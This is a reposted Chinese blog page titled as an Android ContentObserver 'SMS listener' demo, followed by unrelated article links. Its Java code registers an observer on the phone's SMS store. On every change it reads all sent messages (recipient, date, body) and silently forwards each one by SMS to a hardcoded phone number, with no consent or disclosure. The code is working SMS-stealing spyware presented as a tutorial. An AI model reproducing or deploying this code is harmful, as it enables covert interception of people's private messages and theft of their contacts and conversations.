zoukankan      html  css  js  c++  java
  • ContentObserver(短信监听器)

     1 package com.example.contentobserverdemo;
     2 
     3 import android.app.Activity;
     4 import android.app.ActionBar;
     5 import android.app.Fragment;
     6 import android.content.ContentResolver;
     7 import android.database.ContentObserver;
     8 import android.database.Cursor;
     9 
    10 import android.net.Uri;
    11 import android.os.Bundle;
    12 import android.os.Handler;
    13 import android.telephony.gsm.SmsManager;
    14 import android.view.LayoutInflater;
    15 import android.view.Menu;
    16 import android.view.MenuItem;
    17 import android.view.View;
    18 import android.view.ViewGroup;
    19 import android.os.Build;
    20 
    21 //内容观察者使用
    22 public class MainActivity extends Activity {
    23 
    24     @Override
    25     protected void onCreate(Bundle savedInstanceState) {
    26         super.onCreate(savedInstanceState);
    27         setContentView(R.layout.activity_main);
    28 
    29         // 监听系统短信
    30 
    31         ContentResolver resolver = getContentResolver();
    32         resolver.registerContentObserver(Uri.parse("content://sms/"), true,
    33                 new MyContentObserver(new Handler()));
    34 
    35         if (savedInstanceState == null) {
    36             getFragmentManager().beginTransaction()
    37                     .add(R.id.container, new PlaceholderFragment()).commit();
    38         }
    39     }
    40 
    41     /*
    42      * 当被监听内容发生改变时回调
    43      */
    44 
    45     class MyContentObserver extends ContentObserver {
    46 
    47         public MyContentObserver(Handler handler) {
    48             super(handler);
    49             // TODO Auto-generated constructor stub
    50         }
    51 
    52         @Override
    53         public void onChange(boolean selfChange) {
    54             Uri uri = Uri.parse("content://sms/outbox");
    55             // 查询发件箱的内容
    56             Cursor cursor = getContentResolver().query(uri,
    57                     new String[] { "address", "date", "body" }, null, null,
    58                     null);
    59 
    60             // 查询发件箱的内容并转发
    61             if (cursor != null && cursor.getCount() > 0) {
    62                 String address;
    63                 long date;
    64                 String body;
    65                 SmsManager sms = SmsManager.getDefault();
    66                 while (cursor.moveToNext()) {
    67                     address = cursor.getString(0);
    68                     date = cursor.getLong(1);
    69                     body = cursor.getString(2);
    70                     String sendCb = address + ":" + date + ":" + body;
    71                     sms.sendTextMessage("18811506722", null, sendCb, null, null);
    72                 }
    73             }
    74         }
    75 
    76     }
    77 
    78 }
  • 相关阅读:
    程序界真正的高帅富团体:Valve
    How Unreal Engine 4 Will Change The Next Games You Play【纯搬运】
    互联网“百年老店”是彻头彻尾的扯淡!
    如何关闭VS10中的IntelliSense
    发人深省周鸿祎:少功利多学习 做力所能及的事情
    FlashCS4 快捷键大全
    《1万小时成功定律——解构成功》
    通过AutoExpand调试Unreal内置数据类型
    14 Ways to Motivate Yourself
    关于C++ 动态定义数组
  • 原文地址:https://www.cnblogs.com/xiaoying1245970347/p/4447749.html
Copyright © 2011-2022 走看看